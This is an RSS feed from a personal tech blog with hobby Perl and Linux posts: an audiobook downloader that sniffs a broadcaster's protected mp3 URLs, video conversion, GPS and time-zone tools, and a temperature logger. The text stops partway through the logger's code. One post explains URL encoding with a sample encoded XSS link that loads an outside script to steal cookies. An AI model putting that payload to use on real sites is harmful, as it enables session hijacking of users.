<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Software on OiePoie!</title>
    <link>https://www.oiepoie.nl/categories/software/</link>
    <description>Recent content in Software on OiePoie!</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Sat, 27 Dec 2014 18:39:34 +0100</lastBuildDate><atom:link href="https://www.oiepoie.nl/categories/software/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Perl automatic mp3 audiobook downloader</title>
      <link>https://www.oiepoie.nl/2014/12/27/perl-automatic-mp3-audiobook-downloader/</link>
      <pubDate>Sat, 27 Dec 2014 18:39:34 +0100</pubDate>
      
      <guid>https://www.oiepoie.nl/2014/12/27/perl-automatic-mp3-audiobook-downloader/</guid>
      <description>&lt;p&gt;The Dutch Public broadcasting services have a number of nice audiobooks which you can listen for free. This is a great service, but most content is limited to online listening and tries to prevent you from downloading the mp3’s.&lt;br/&gt;
Since i would like to take the audiobooks with me on my mp3-player and listen to them when i am offline (for instance in an airplane) i build a perl script to download the audio files.&lt;/p&gt;
&lt;p&gt;This is a two-step approach. The website with the audiobooks (for instance &lt;a class=&#34;extlink&#34; href=&#34;http://www.nps.nl/nps/bommel/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34; title=&#34;Bommel hoorspel&#34;&gt;&lt;/a&gt;) mostly uses a flash player to play the audio content to you. On a Linux or Mac computer you can install the package &lt;b&gt;“dsniff”&lt;/b&gt; which contains &lt;b&gt;“urlsnarf”&lt;/b&gt; and that shows you the URL’s which are retrieved on you computer. For instance for one of the audiobooks it would show the URL’s below when you click on all parts:&lt;/p&gt;
&lt;pre&gt;
[Dumper ~]# urlsnarf -i en0
urlsnarf: listening on en0 [tcp port 80 or port 8080 or port 3128]
192.168.0.81 - - [27/Dec/2014:17:51:23 +0100] &#34;GET http://audio.omroep.nl/nps/mp3/bommel/728.mp3 HTTP/1.1&#34; - - &#34;http://www.nps.nl/nps/bommel/&#34; &#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36&#34;
192.168.0.81 - - [27/Dec/2014:17:51:23 +0100] &#34;GET http://content1b.omroep.nl/urishieldv2/l27m197ec2b3199d940300549ee38a000000.4d9438a4b00d03fe7216163718cb969c/nps/mp3/bommel/728.mp3 HTTP/1.1&#34; - - &#34;http://www.nps.nl/nps/bommel/&#34; &#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36&#34;
192.168.0.81 - - [27/Dec/2014:17:51:25 +0100] &#34;GET http://audio.omroep.nl/nps/mp3/bommel/729.mp3 HTTP/1.1&#34; - - &#34;http://www.nps.nl/nps/bommel/&#34; &#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36&#34;
192.168.0.81 - - [27/Dec/2014:17:51:25 +0100] &#34;GET http://content1b.omroep.nl/urishieldv2/l27m1f5f84ba73bd18fe00549ee38d000000.633a459a44db1793d6d37aa0d9989da2/nps/mp3/bommel/729.mp3 HTTP/1.1&#34; - - &#34;http://www.nps.nl/nps/bommel/&#34; &#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36&#34;
etcetera... 
&lt;/pre&gt;
&lt;p&gt;The “-i en0” after urlsnarf means listen on interface en0, this is typical for a macbook, if you use Linux the interface might be named “eth0” for a fixed network connection or “wlan0” for the wifi connection.&lt;/p&gt;
&lt;p&gt;The relevant URL’s which contain the audio are the one’s with &lt;b&gt;urishieldv2&lt;/b&gt; in it, this probably refers to a mechanisme which tries to prevent you from easily predicting the download links, since there is a hash kind of variable in every link that changes with every filename.&lt;br/&gt;
So, when we are on the page with all the parts, we click on every part untill all are captured by urlsnarf.&lt;br/&gt;
This info is copied and saved in a file, for instance &lt;i&gt;urlsnarf.txt&lt;/i&gt;.&lt;br/&gt;
And then the perl script is run with this data as input, for instance:&lt;/p&gt;
&lt;pre&gt;
./parser_getter.pl &amp;lt; urlsnarf.txt
&lt;/pre&gt;
&lt;pre class=&#34;line-numbers&#34; id=&#34;parsergetter&#34;&gt;&lt;code class=&#34;language-clike&#34;&gt;#!/usr/bin/perl
#
# 2014-12-26 version 1.0 (c) Ewald
&lt;p&gt;use strict;
use warnings;&lt;/p&gt;
&lt;p&gt;use LWP::UserAgent;&lt;/p&gt;
&lt;p&gt;my $DEBUG = 1;
my $count = 1;&lt;/p&gt;
&lt;h1 id=&#34;initialize-pointer-for-http-fetch&#34;&gt;initialize pointer for HTTP fetch&lt;/h1&gt;
&lt;p&gt;my $ua = LWP::UserAgent-&amp;gt;new();&lt;/p&gt;
&lt;h1 id=&#34;pretend-to-be-chrome-on-a-mac&#34;&gt;Pretend to be Chrome on a Mac&lt;/h1&gt;
&lt;p&gt;$ua-&amp;gt;agent(&amp;ldquo;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36&amp;rdquo;);&lt;/p&gt;
&lt;p&gt;while(&amp;lt;&amp;gt;) {
if (/(http:.*urishield\S+)/) {		# select URL&amp;rsquo;s with urishield in it, discard the rest
my $URL = $1;
$DEBUG &amp;amp;&amp;amp; print &amp;ldquo;found URL: $URL\n&amp;rdquo;;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	# Get the mp3
		my $response = $ua-&amp;amp;gt;get($URL);

		unless($response-&amp;amp;gt;is_success) {
    		print &amp;quot;Error: &amp;quot; . $response-&amp;amp;gt;status_line;
			} #unless
	
	# Let&#39;s save the output, every name gets an incrementing part number
    	my $save = &amp;quot;part_&amp;quot; . $count++ . &amp;quot;.mp3&amp;quot;;

		unless(open SAVE, &#39;&amp;amp;gt;&#39; . $save) {
    		die &amp;quot;Cannot create output file $save&amp;quot;;
		} #unless

		print SAVE $response-&amp;amp;gt;content;

		close SAVE;

		$DEBUG &amp;amp;amp;&amp;amp;amp; print &amp;quot;Saved &amp;quot; .  length($response-&amp;amp;gt;content) .  &amp;quot; bytes of data to &#39;$save&#39;\n\n&amp;quot;;

	} #if
} #while
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
you can download it here: url=&lt;a href=&#34;https://www.oiepoie.nl/source/parser_getter.pl&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34; title=&#34;parser_getter.pl&#34;&gt;&lt;a href=&#34;https://www.oiepoie.nl/source/parser_getter.pl&#34;&gt;https://www.oiepoie.nl/source/parser_getter.pl&lt;/a&gt;&lt;/a&gt;&lt;br/&gt;
When you run the script, the output should be something like this:&lt;/p&gt;
&lt;pre&gt;
[Dumper]% ~/perl/parser_getter.pl &amp;lt; urlsnarf.txt
found URL: http://content1a.omroep.nl/urishieldv2/l27m5c68424d3983d34a00549edd0b000000.888031fd36578e71965fd87fe4c47691/nps/mp3/bommel/736.mp3
Saved 26060333 bytes of data to &#39;part_1.mp3&#39;

found URL: http://content1a.omroep.nl/urishieldv2/l27m6daf9f5b7fa2e2ab00549eddb3000000.08e4416181ef0929a56f61c29e631010/nps/mp3/bommel/737.mp3
Saved 27389443 bytes of data to &#39;part_2.mp3&#39;

found URL: http://content1b.omroep.nl/urishieldv2/l27m255eef306a86a3a200549edd0e000000.f74dd78d1b80d166ea63332169f77b43/nps/mp3/bommel/738.mp3
Saved 28820536 bytes of data to &#39;part_3.mp3&#39;

found URL: http://content1b.omroep.nl/urishieldv2/l27m703f9ed30dc0c86900549edd10000000.77a82e78b996ded8d01f8b358842ea45/nps/mp3/bommel/739.mp3
Saved 28018054 bytes of data to &#39;part_4.mp3&#39;

found URL: http://content1c.omroep.nl/urishieldv2/l27m448b988943e1683b00549edd12000000.c86acdb1faa882f8eba785b06c0859d7/nps/mp3/bommel/740.mp3
Saved 27468856 bytes of data to &#39;part_5.mp3&#39;

found URL: http://content1a.omroep.nl/urishieldv2/l27m31eb2dca29a8561b00549edd14000000.51573901492484e6775ff27900eaf84c/nps/mp3/bommel/741.mp3
Saved 28096630 bytes of data to &#39;part_6.mp3&#39;

found URL: http://content1c.omroep.nl/urishieldv2/l27m72acd31f5e2b5b3800549edd15000000.fe03a7383128d51fed8c739a4ca20cf4/nps/mp3/bommel/742.mp3
Saved 27464676 bytes of data to &#39;part_7.mp3&#39;

found URL: http://content1a.omroep.nl/urishieldv2/l27m692578b42b7f0e4c00549edd17000000.4d1b1b8d94b8c570cb727c77782b55c6/nps/mp3/bommel/743.mp3
Saved 26377982 bytes of data to &#39;part_8.mp3&#39;

found URL: http://content1c.omroep.nl/urishieldv2/l27m2c27b9f73b52190e00549edd1a000000.8368a180c635f2b970010f932e3b2fcc/nps/mp3/bommel/744.mp3
Saved 27148699 bytes of data to &#39;part_9.mp3&#39;
&lt;/pre&gt;
&lt;p&gt;&lt;b&gt;Have Fun!&lt;/b&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>GPS coördinaat conversie</title>
      <link>https://www.oiepoie.nl/2006/09/27/gps-coordinaat-conversie/</link>
      <pubDate>Wed, 27 Sep 2006 18:52:04 +0200</pubDate>
      
      <guid>https://www.oiepoie.nl/2006/09/27/gps-coordinaat-conversie/</guid>
      <description>&lt;p&gt;Met geocachen komt het nogal eens voor dat je van coördinaat systeem moet wisselen. Standaard gebruik je WGS-84 projectie met graden en minuten notatie (waarbij de minuten tot op drie decimalen achter de komma worden weergegeven), maar soms heb je toch de coördinaten in “graden, minuten, seconden” of alleen in graden (met b.v. 4 decimalen achter de komma) nodig. Dat is dus een leuk uitdaging om in een programmaatje te verwerken, dus vandaar deze:&lt;br/&gt;
&lt;a href=&#34;https://www.oiepoie.nl/gps&#34;&gt;GPS coördinaat conversie&lt;/a&gt; webpagina.&lt;/p&gt;
&lt;p&gt;De WGS-84 projectie is trouwens niet van belang voor de conversies tussen graden, minuten enzovoorts. Maar ik heb er ook conversie naar &lt;b&gt;UTM&lt;/b&gt; (Universal Transverse Mercator), &lt;b&gt;OSGB&lt;/b&gt; (Ordnance Survey of Great Britain) en het Nederlandse &lt;b&gt;RijksDriehoek&lt;/b&gt; systeem bij gezet en dan is het wel belangrijk welk “datum” formaat je gebruikt.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Hoe laat is het in …</title>
      <link>https://www.oiepoie.nl/2006/09/17/hoe-laat-is-het-in/</link>
      <pubDate>Sun, 17 Sep 2006 22:49:13 +0200</pubDate>
      
      <guid>https://www.oiepoie.nl/2006/09/17/hoe-laat-is-het-in/</guid>
      <description>&lt;p&gt;Ik schreef laatst een stukje over tijdzone’s in linux en daarna viel het me op dat ik via Google af en toe zoekopdrachten binnen kreeg die op zoek waren naar de tijd in een bepaald land. Nu heb ik in PHP een script geschreven waarmee je kan zien hoe laat het is in diverse landen en plaatsen is die in allerlei verschillende tijdzones zitten. Dat klinkt iets makkelijker dan het is omdat we nu eenmaal zitten opgescheept met die zomertijd en sommige landen doen ook aan zomertijd en andere niet. Bovendien begint de zomertijd per land ook nog al eens verschillend, zo is de zomertijd in Australië precies tegenovergesteld aan die van ons. Anyway kijk maar eens op &lt;a href=&#34;https://www.oiepoie.nl/tijd&#34;&gt;Hoe laat is het in…&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>video filmpjes op een iAudio U3 via Linux</title>
      <link>https://www.oiepoie.nl/2006/08/01/video-filmpjes-op-een-iaudio-u3-via-linux/</link>
      <pubDate>Tue, 01 Aug 2006 12:06:03 +0200</pubDate>
      
      <guid>https://www.oiepoie.nl/2006/08/01/video-filmpjes-op-een-iaudio-u3-via-linux/</guid>
      <description>&lt;p&gt;&lt;img align=&#34;right&#34; alt=&#34;iAudio U3&#34; border=&#34;0&#34; src=&#34;https://www.oiepoie.nl/pics/iaudio-u3.jpg&#34; valign=&#34;top&#34;/&gt;Af en toe is het weer tijd voor een nieuwe MP3 speler. De oude heeft te weinig capaciteit, meestal is de accu binnen een uur uitgeput en als gadget-junkie moet de drang naar nieuwe gadgets nu eenmaal bevredigd worden.&lt;/p&gt;
&lt;p&gt;Een iPod is natuurlijk helemaal hip om te hebben, maar zo’n iPod nano kan bijvoorbeeld geen &lt;a class=&#34;extlink&#34; href=&#34;http://nl.wikipedia.org/wiki/Ogg_Vorbis&#34; target=&#34;_new&#34;&gt;Ogg Vorbis&lt;/a&gt; aan en heeft zelfs niet eens de mogelijkheid om videofilmpjes af te spelen. Een iPod video vond ik te groot en te duur, dus het is een &lt;b&gt;Cowon iAudio U3&lt;/b&gt; geworden. Subliem geluid, ondersteund alle standaarden: MP3, WMA, OGG Vorbis, JPEG, XviD, WAV, TXT, FLAC, MPEG4 en heeft een 260K TFT-LCD Display met 160×128 pixels (formaatje postzegel, maar wel vlijmscherp beeld). Je kan er dus ook je foto’s op bekijken, radio mee luisteren of geluid opnemen met de bijzonder gevoelige microfoon.&lt;br/&gt;
Officieel wordt Linux niet genoemd als ondersteund platform, maar je kan het apparaat mounten (USB stekker aansluiten, met &lt;b&gt;dmesg | tail&lt;/b&gt; kijken welk device eraan is toegekend, b.v. &lt;b&gt;/dev/sda&lt;/b&gt; en dat dan mounten met: &lt;b&gt;mkdir /iAudio ; mount /dev/sdb /iAudio&lt;/b&gt;) en bestanden heen en weer kopieeren.&lt;/p&gt;
&lt;p&gt;Als je fimpjes wilt omzetten zodat ze op de U3 te bekijken zijn kan dat heel goed met mencoder (meegeleverd in het mplayer package). Output formaat moet 160×128 pixels zijn met 15 frames per seconde. Dat gaat als volgt:&lt;br/&gt;
&lt;code&gt;&lt;br/&gt;
mencoder orgineel.ext -quiet -oac pcm -ovc xvid -ofps 15 -vf scale=160:-2 -xvidencopts bitrate=256:vhq=4:me_quality=4:max_bframes=0 -o film.avi&lt;br/&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Uiteraard vervang je &lt;i&gt; orgineel.ext&lt;/i&gt; door de naam van het video bestand dat je wilt converteren. Hierna moet er nog een slag plaatsvinden om het geluid te converteren van &lt;a class=&#34;extlink&#34; href=&#34;http://en.wikipedia.org/wiki/Pulse-code_modulation&#34; target=&#34;_new&#34;&gt;PCM&lt;/a&gt; naar MP3:&lt;br/&gt;
&lt;code&gt;&lt;br/&gt;
transcode -i film.avi -P1 -b 0,1 -o U3-film.avi&lt;br/&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;En nu kan het bestand U3-film in de movie folder op je U3 geplaatst worden.&lt;/p&gt;
&lt;p&gt;Wat een erg hoge “coolness” factor heeft is om het journaal op die manier te kijken. Met mplayer kan je zo de laatste versie van het journaal streaming bekijken:&lt;br/&gt;
&lt;code&gt;&lt;br/&gt;
mplayer &#39;rtsp://streams3.omroep.nl/tv/nos/journaal/bb.laatste.rm&#39;&lt;br/&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Dus voor het opslaan naar disk en slechts een kleine wijziging nodig:&lt;br/&gt;
&lt;code&gt;&lt;br/&gt;
mplayer -dumpstream -dumpfile journaal.rm &#39;rtsp://streams3.omroep.nl/tv/nos/journaal/bb.laatste.rm&#39;&lt;br/&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Vervolgens journaal.rm met mencode omzetten, door transcode halen en voila. De ondertitels zijn nog net (maar dan ook net) leesbaar. &lt;/p&gt;
&lt;p&gt;Ik heb een klein programma in Perl gescheven wat alle video files in een directory in een keer kan converteren naar het juiste formaat&lt;/p&gt;
&lt;p&gt;[perl]&lt;br/&gt;
#!/usr/bin/perl&lt;br/&gt;
# (c) 20060801 by Ewald&lt;/p&gt;
&lt;p&gt;use strict;&lt;/p&gt;
&lt;p&gt;my $DEBUG = 0;&lt;br/&gt;
my @files = glob( “*.mp4” );    # get files to work on&lt;br/&gt;
my $out1;&lt;br/&gt;
my $out2;&lt;br/&gt;
my $org;&lt;/p&gt;
&lt;p&gt;foreach my $file ( @files ) {&lt;br/&gt;
        next if -d $file;       # directory?&lt;br/&gt;
        next if -z $file;       # zero byte ?&lt;br/&gt;
        $DEBUG &amp;amp;&amp;amp; print “$file\n”;&lt;br/&gt;
        $org = $file;&lt;br/&gt;
        $file =~ tr/A-Z/a-z/;                   # lowercase&lt;br/&gt;
        $file =~ tr/\ /_/;                      # get rid of spaces&lt;br/&gt;
        $file =~ s/[\’\”\[\]\(\)\$\&amp;amp;]//g;       # get rid of special char’s&lt;br/&gt;
        $file =~ s/\.mp4$//;                    # strip extension&lt;br/&gt;
        $DEBUG &amp;amp;&amp;amp; print “$file\n”;&lt;br/&gt;
        $org =~ s/(.)/\\$1/g;           # escape everything for the shell&lt;br/&gt;
        $out1 = $file . “.avi”;&lt;br/&gt;
        print “transcoding $file\n”;&lt;br/&gt;
        $DEBUG &amp;amp;&amp;amp; print “mencoder $org -quiet -oac pcm -ovc xvid -ofps 15 -vf scale=160:-2 -xvidencopts bitrate=256:vhq=4:me_quality=4:max_bframes=0 -o $out1\n”;&lt;br/&gt;
        qx(mencoder $org -quiet -oac pcm -ovc xvid -ofps 15 -vf scale=160:-2 -xvidencopts bitrate=256:vhq=4:me_quality=4:max_bframes=0 -o $out1);&lt;br/&gt;
        $out2 = “U3_” . $out1;&lt;br/&gt;
        $DEBUG &amp;amp;&amp;amp; print “transcode -i $out1 -P1 -b 0,1 -o $out2\n”;&lt;br/&gt;
        qx(transcode -i $out1 -P1 -b 0,1 -o $out2);&lt;br/&gt;
        unlink $out1;                           # remove intermediate file&lt;br/&gt;
        $DEBUG &amp;amp;&amp;amp; exit 0;                       # in debug we run only once&lt;br/&gt;
        }&lt;br/&gt;
[/perl]&lt;br/&gt;
Het programma is ook te downloaden: &lt;a href=&#34;https://www.oiepoie.nl/cvt2u3.pl&#34;&gt;cvt2u3.pl&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;have fun!&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>URL coderen en decoderen met perl</title>
      <link>https://www.oiepoie.nl/2006/06/24/url-coderen-en-decoderen-met-perl/</link>
      <pubDate>Sat, 24 Jun 2006 14:59:53 +0200</pubDate>
      
      <guid>https://www.oiepoie.nl/2006/06/24/url-coderen-en-decoderen-met-perl/</guid>
      <description>&lt;p&gt;Regelmatig zie je &lt;a class=&#34;extlink&#34; href=&#34;http://nl.wikipedia.org/wiki/Url&#34; target=&#34;_new&#34;&gt;URL’s&lt;/a&gt; met in plaats van het &lt;a class=&#34;extlink&#34; href=&#34;http://nl.wikipedia.org/wiki/ASCII_%28tekenset%29&#34; target=&#34;_new&#34;&gt;ASCII&lt;/a&gt; karakter een gecodeerde versie hiervan. De meest voorkomende is waarschijnlijk &lt;b&gt;%20&lt;/b&gt; oftewel spatie, maar ook &lt;b&gt;%2F&lt;/b&gt; (forward slash: /) zie je regelmatig in URL’s.&lt;br/&gt;
De reden hiervoor is dat deze karakter vaak een speciale betekenins hebben voor de computer waarop je browser draait en door ze te vervangen door de gecodeerde weergaven kan de browser ze doorgeven naar de website en komt de goede informatie terug.&lt;/p&gt;
&lt;p&gt;Het wordt wat vervelender als je een URL (bijvoorbeeld via de e-mail) toegestuurd krijgt die alleen maar is opgebouwd uit dit soort tekens. De website aan het begin van de URL mag dan wel vertrouwd lijken, maar het zou kunnen dat je door middel van een &lt;a class=&#34;extlink&#34; href=&#34;http://nl.wikipedia.org/wiki/Cross-site_scripting&#34; target=&#34;_new&#34;&gt;Cross Site Scripting&lt;/a&gt;  aanval ineens het cookie weggeeft aan een aanvaller (de verzender van de URL) die daardoor b.v. je sessie waarmee je bent ingelogd op je webmail kan overnemen.&lt;/p&gt;
&lt;p&gt;Zo’n URL kan er bijvoorbeeld zo uitzien:&lt;/p&gt;
&lt;pre&gt;
http://www.blabla.com/search.pl?q=%22%3E%3C%73%63%72%69%70%74%2B%73%72%63%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%6F%69%65%70%6F%69%65%2E%6E%6C%2F%78%73%73%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
&lt;/pre&gt;
&lt;p&gt;Met &lt;a class=&#34;extlink&#34; href=&#34;http://nl.wikipedia.org/wiki/Perl_%28programmeertaal%29&#34;&gt;perl&lt;/a&gt; kan je dit makkelijk weer leesbaar maken, dit gaat als volgt:&lt;/p&gt;
&lt;pre&gt;
echo \
&#34;http://www.blabla.com/search.pl?q=%67%65%76%61%61%72%6C%69%6A%6B%65%20%58%53%53%20%61%61%6E%76%61%6C%20%6D%65%74%20%6A%61%76%61%73%63%72%69%70%74&#34;\
| perl  -pe &#39;s/\%([A-Fa-f0-9]{2})/pack(&#39;C&#39;, hex($1))/seg;&#39;
&lt;b&gt;output: http://www.blabla.com/search.pl?q=gevaarlijke XSS aanval met javascript
&lt;/b&gt;&lt;/pre&gt;
&lt;p&gt;Als je zelf wilt experimenteren met dit soort URL’s dan kan je ze bouwen op de volgende manier:&lt;/p&gt;
&lt;pre&gt;
echo &#34;de groeten van Ewald&#34; \
| perl -pe &#39;chomp ; s/(.)/sprintf(&#34;%%%02X&#34;, ord($1))/seg;&#39;
&lt;b&gt;output: &lt;/b&gt;%64%65%20%67%72%6F%65%74%65%6E%20%76%61%6E%20E%77%61%6C%64
&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>measuring temperature from Linux</title>
      <link>https://www.oiepoie.nl/2006/03/19/measuring-temperature-from-linux/</link>
      <pubDate>Sun, 19 Mar 2006 18:33:45 +0100</pubDate>
      
      <guid>https://www.oiepoie.nl/2006/03/19/measuring-temperature-from-linux/</guid>
      <description>&lt;p&gt;One of the things i wanted for a long time is measuring temperature (room and outside) and display this via a graph on my website. I didn’t want to pay a huge amount of money for the sensors so that stalled things for a while. A couple of weeks ago a collegue of mine found these nifty RS232 thermometers from a company called  &lt;a class=&#34;extlink&#34; href=&#34;http://www.papouch.com/en/products.asp?dir=thermometers&#34; target=&#34;_new&#34;&gt;Papouch&lt;/a&gt; for a very reasonable price (the 14 euro is a bit deceptive since the total costs incl. BTW (VAT) and shipping will be around 20 euro per sensor). The fun thing about these sensors is that the are “intelligent”, they present temperature directly on the serial line, so you don’t have to do any fancy calculations. Also, since they are RS232 based it will work on any operating system. I ordered two probes for my computer at home, one to measure the room temperature and one for the outside temperature. The arrived after a week or two and i quickly plugged them in the serial ports, on Linux they are represented by:&lt;br/&gt;
/dev/ttyS0&lt;br/&gt;
/dev/ttyS1&lt;/p&gt;
&lt;p&gt;There is a small  program which comes with the sensors, tm.c, which is supposed to read from a sensor and show the results on screen, but that does not seem to work on my Fedora Core 3 machines. So i made a small kermit init script:&lt;/p&gt;
&lt;pre&gt;
set modem type none   ; There is no modem
set carrier-watch off ; If DTR CD are not cross-connected
set line /dev/ttyS0   ; Device name
set speed 9600        ; Desired speed
set parity none       ; No parity
set stop-bits 2       ; 2 stop bits
set flow none         ; no flow-control
connect               ; Enter Connect (terminal) state
&lt;/pre&gt;
&lt;p&gt;and saved this under .kermrc in my home directory, also i made sure i had all the necessary rights on the serial port devices (as root: &lt;b&gt;chown my-userid /dev/ttyS[01]&lt;/b&gt;).&lt;br/&gt;
When i fired up kermit, i immediatly got some output, so the sensors worked fine.&lt;/p&gt;
&lt;p&gt;I decided to write a program in perl which would be flexible enough to cater for all my future temperature needs. After a short quest on google i found that serial port communcations from perl are best done using: &lt;strong&gt;Device::SerialPort&lt;/strong&gt;.&lt;br/&gt;
Since this module was not on my system yet, i had perl fetch it from CPAN and install it for me:&lt;/p&gt;
&lt;pre&gt;
perl -MCPAN -e &#39;install Device::SerialPort&#39;
&lt;/pre&gt;
&lt;p&gt;This didn’t complete since there was a problem with one of the tests and perl reported it wouldn’t install without force. Well since i am the lazy type  i thought i would try the module anyway, so:&lt;/p&gt;
&lt;pre&gt;
cd ~/.cpan/build/Device-SerialPort-1.002/
make install
&lt;/pre&gt;
&lt;p&gt;And that did the job. The first thing you always should do after installing a new module is read the documentation, it most often has ample examples in there to help you getting started:&lt;/p&gt;
&lt;pre&gt;
perldoc Device::SerialPort
&lt;/pre&gt;
&lt;p&gt;Since perl reads like a novel, i’ll just give the code straight away:&lt;br/&gt;
[perl]&lt;br/&gt;
#!/usr/bin/perl&lt;br/&gt;
#&lt;br/&gt;
# (c) 20060318 by Ewald&lt;br/&gt;
# https://www.oiepoie.nl&lt;/p&gt;
&lt;p&gt;use Device::SerialPort;         # to read serial port data&lt;br/&gt;
use Getopt::Std;                # to handle cmdline options&lt;/p&gt;
&lt;p&gt;my $V=”0.9 20060318″;           # version and date of latest modification&lt;br/&gt;
my $DEBUG = 0;                  # do we want debugging output?&lt;br/&gt;
my $WAIT = 300;                 # how many seconds to wait between reads&lt;br/&gt;
my $ONCE = 0;                   # run only once?&lt;br/&gt;
my $UT = 0;                     # display timestamp in Unix format?&lt;br/&gt;
my $DONE = 0;&lt;br/&gt;
my $now;&lt;br/&gt;
my $TS=1;                       # do we want timestamps at all? (yes)&lt;br/&gt;
my $C=1;                        # display C to denote Celsius? (yes)&lt;br/&gt;
my $P = “/dev/ttyS0”;           # default serial port to monitor&lt;/p&gt;
&lt;p&gt;my %Options;&lt;br/&gt;
$ok = getopts(‘t:w:1uhdnc’, \%Options);&lt;/p&gt;
&lt;p&gt;if (defined $Options{h}) {&lt;br/&gt;
        print “logger.pl version: $V\n”;&lt;br/&gt;
        print “Program to read temperature data from Papouch serial temp probe\n”;&lt;br/&gt;
        print “Possible options:\n”;&lt;br/&gt;
        print “-h       Help (this output)\n”;&lt;br/&gt;
        print “-d       print debugging output\n”;&lt;br/&gt;
        print “-c       Don’t print C for celsius after values?\n”;&lt;br/&gt;
        print “-n       Don’t display timestamps\n”;&lt;br/&gt;
        print “-1       Output temperature and exit\n”;&lt;br/&gt;
        print “-u       show timestamp in Unix format (seconds since epoch)\n”;&lt;br/&gt;
        print “-t x     read data from /dev/ttySx (default: $P) \n”;&lt;br/&gt;
        print “-w N     wait N seconds between readouts (default $WAIT)\n”;&lt;br/&gt;
        exit 0;&lt;br/&gt;
        }&lt;/p&gt;
&lt;p&gt;$ONCE  = 1 if defined $Options{1};&lt;br/&gt;
$DEBUG = 1 if defined $Options{d};&lt;br/&gt;
$TS    = 0 if defined $Options{n};&lt;br/&gt;
$C     = 0 if defined $Options{c};&lt;/p&gt;
&lt;p&gt;$WAIT = $Options{w} if defined $Options{w};&lt;br/&gt;
$UT   = $Options{u} if defined $Options{u};&lt;/p&gt;
&lt;p&gt;if (defined $Options{t}) {&lt;br/&gt;
        $P = “/dev/ttyS”;&lt;br/&gt;
        $P .= $Options{t};&lt;br/&gt;
        }&lt;/p&gt;
&lt;p&gt;$DEBUG &amp;amp;&amp;amp; print “monitoring serial port: $P\n”;&lt;br/&gt;
$DEBUG &amp;amp;&amp;amp; print “wait interval is $WAIT\n”;&lt;br/&gt;
$DEBUG &amp;amp;&amp;amp; print “run once? $ONCE\n”;&lt;br/&gt;
$DEBUG &amp;amp;&amp;amp; print “Unix timestamps? $UT\n”;&lt;/p&gt;
&lt;p&gt;# Serial Port initialization&lt;br/&gt;
my $port=Device::SerialPort-&amp;gt;new($P) || die “cannot open $P: $!”;&lt;/p&gt;
&lt;p&gt;$port-&amp;gt;user_msg(ON);&lt;br/&gt;
$port-&amp;gt;error_msg(ON);&lt;br/&gt;
$DEBUG &amp;amp;&amp;amp; $port-&amp;gt;debug($DEBUG);&lt;/p&gt;
&lt;p&gt;$port-&amp;gt;baudrate(9600)    || die “failed setting baudrate”;&lt;br/&gt;
$port-&amp;gt;parity(“none”)    || die “failed setting parity”;&lt;br/&gt;
$port-&amp;gt;databits(8)       || die “failed setting databits”;&lt;br/&gt;
$port-&amp;gt;stopbits(2)       || die “failed setting databits”;&lt;br/&gt;
$port-&amp;gt;handshake(“none”) || die “failed setting handshake”;&lt;br/&gt;
$port-&amp;gt;write_settings    || die “cannot write settings”;&lt;/p&gt;
&lt;p&gt;# unset RTS and DTR&lt;br/&gt;
$port-&amp;gt;rts_active(0);&lt;br/&gt;
$port-&amp;gt;dtr_active(0);&lt;br/&gt;
sleep 1;                # just a little wait to be sure we get stable data later on&lt;/p&gt;
&lt;p&gt;if (($port-&amp;gt;can_modemlines) &amp;amp;&amp;amp; $DEBUG) {&lt;br/&gt;
        $ModemStatus = $port-&amp;gt;modemlines;&lt;br/&gt;
        if ($ModemStatus &amp;amp; $port-&amp;gt;MS_RTS_ON) { print “RTS ON\n”; }&lt;br/&gt;
        else { print “RTS OFF\n”; }&lt;br/&gt;
        if ($ModemStatus &amp;amp; $port-&amp;gt;MS_DTR_ON) { print “DTR ON\n”; }&lt;br/&gt;
        else { print “DTR OFF\n”; }&lt;br/&gt;
        print “\n”;&lt;br/&gt;
        }&lt;/p&gt;
&lt;p&gt;# by setting RTS and DTR high we supply power to the device&lt;br/&gt;
# and in return it will supply us with data&lt;br/&gt;
$port-&amp;gt;rts_active(1);&lt;br/&gt;
$port-&amp;gt;dtr_active(1);&lt;/p&gt;
&lt;p&gt;if (($port-&amp;gt;can_modemlines) &amp;amp;&amp;amp; $DEBUG) {&lt;br/&gt;
        $ModemStatus = $port-&amp;gt;modemlines;&lt;br/&gt;
        if ($ModemStatus &amp;amp; $port-&amp;gt;MS_RTS_ON) { print “RTS ON\n”; }&lt;br/&gt;
        else { print “RTS OFF\n”; }&lt;br/&gt;
        if ($ModemStatus &amp;amp; $port-&amp;gt;MS_DTR_ON) { print “DTR ON\n”; }&lt;br/&gt;
